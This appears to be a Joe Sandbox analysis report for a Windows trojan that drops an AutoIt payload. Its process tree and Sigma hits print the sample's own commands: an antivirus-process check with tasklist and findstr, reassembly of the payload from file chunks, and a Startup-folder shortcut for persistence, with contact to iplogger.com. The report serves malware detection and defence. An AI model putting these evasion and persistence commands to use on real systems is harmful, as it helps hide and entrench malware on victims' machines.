Edit tour

Windows Analysis Report
cW5i0RdQ4L.exe

Overview

General Information

Sample name:	cW5i0RdQ4L.exe renamed because original name is a hash value
Original sample name:	c065ba22909fc8dbded4ea0eebb24ad5.exe
Analysis ID:	1532361
MD5:	c065ba22909fc8dbded4ea0eebb24ad5
SHA1:	b3d61dd7519be3d2909be9ce2d28f65ec7f9965d
SHA256:	9817f4d8bc1374f102196cfcb8a351abdc0563dea60f6084a7525e5ee5409b6d
Tags:	32exetrojan
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cW5i0RdQ4L.exe (PID: 6768 cmdline: "C:\Users\user\Desktop\cW5i0RdQ4L.exe" MD5: C065BA22909FC8DBDED4EA0EEBB24AD5)

cmd.exe (PID: 6888 cmdline: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7144 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7132 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 2056 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 3608 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 1908 cmdline: cmd /c md 103495 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 2916 cmdline: findstr /V "aroundaccommodategroupseverything" Fine MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 3592 cmdline: cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Powder.pif (PID: 180 cmdline: Powder.pif n MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 1740 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 2568 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 7132 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

GuardianCryptoElite.scr (PID: 1908 cmdline: "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation

Source: Threat created

Author: @SBousseaden (detection), Thomas Patzke (rule): Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 7132, StartAddress: 40F8BCC0, TargetImage: C:\Windows\SysWOW64\findstr.exe, TargetProcessId: 7132

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 7132, StartAddress: 40F8BCC0, TargetImage: C:\Windows\SysWOW64\findstr.exe, TargetProcessId: 7132

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine|base64offset|contains: K+-zk, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , ProcessId: 7132, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Powder.pif n, CommandLine: Powder.pif n, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6888, ParentProcessName: cmd.exe, ProcessCommandLine: Powder.pif n, ProcessId: 180, ProcessName: Powder.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ProcessId: 180, TargetFilename: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ProcessId: 180, TargetFilename: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine|base64offset|contains: K+-zk, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , ProcessId: 7132, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 1740, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6888, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 3608, ProcessName: findstr.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T02:07:30.303666+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49731	104.21.76.57	443	TCP
2024-10-13T02:07:46.381126+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49737	104.21.76.57	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Virustotal: Detection: 9%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Virustotal: Detection: 9%			Perma Link

Multi AV Scanner detection for submitted file

Source: cW5i0RdQ4L.exe

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.8% probability

Source: cW5i0RdQ4L.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: cW5i0RdQ4L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E64005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00E64005
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00E6494A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E63CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00E63CE2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00E6C2FF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00E6CD9F
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6CD14 FindFirstFileW,FindClose,	10_2_00E6CD14
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00E6F5D8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00E6F735
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00E6FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00944005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00944005
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094494A GetFileAttributesW,FindFirstFileW,FindClose,	16_2_0094494A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_0094C2FF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	16_2_0094CD9F
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094CD14 FindFirstFileW,FindClose,	16_2_0094CD14
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_0094F5D8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_0094F735
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_0094FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00943CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00943CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495	Jump to behavior

Source: Joe Sandbox View

IP Address: 104.21.76.57 104.21.76.57

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: iplogger.com

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 104.21.76.57:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 104.21.76.57:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E729BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

10_2_00E729BA

Source: global traffic	HTTP traffic detected: GET /15RZZ4 HTTP/1.1User-Agent: CuttingHost: iplogger.com
Source: global traffic	HTTP traffic detected: GET /15RZZ4 HTTP/1.1User-Agent: CuttingHost: iplogger.com

Source: global traffic	DNS traffic detected: DNS query: iplogger.com
Source: global traffic	DNS traffic detected: DNS query: SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 13 Oct 2024 00:07:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sun, 13 Oct 2024 00:07:45 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KBJvXw6fUbGRbS6RhK%2BGglPGzigQ8JyjV5ntZrCNYPilv4t%2Bg9XoXSqGoRUPjt%2FvFa12kdE6KCZ2qc23Cv6fj1N6EHxcxAdUxPNTrxcgctB2VZpV9yNWlFJp8g7wo2s%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8d1b16fe1a345e6e-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 13 Oct 2024 00:07:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sun, 13 Oct 2024 00:08:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aKUrKGuZsfbYGpfMv7w87P%2FU%2FWzTCe9VK5vZUxav4Fq8km2kSEIxcqEg6xpwukUByhH2upXUjS3mSd6vZP%2F3TdcVGBnYw0NEY9Hv2CUhgQDSfhXPCwQ39bhwGAJEb5I%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8d1b176299e4c323-EWR

Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: cW5i0RdQ4L.exe, 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmp, cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: cW5i0RdQ4L.exe, 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmp, cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3570670968.00000000009A9000.00000002.00000001.01000000.0000000A.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Powder.pif, 0000000A.00000002.3571443767.00000000019C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/
Source: Powder.pif, 0000000A.00000002.3571321856.0000000001959000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3572166645.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3571781276.000000000171A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4
Source: Powder.pif, 0000000A.00000002.3571443767.0000000001B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ40
Source: Powder.pif, 0000000A.00000002.3572166645.00000000043D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4O
Source: GuardianCryptoElite.scr, 00000010.00000002.3571413798.000000000153A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4eListcessId;
Source: GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/R
Source: GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/m
Source: cW5i0RdQ4L.exe, 00000000.00000003.1715750993.000000000298E000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000A.00000003.1761392770.0000000004673000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr.10.dr, Powder.pif.1.dr, Serious.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Serious.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
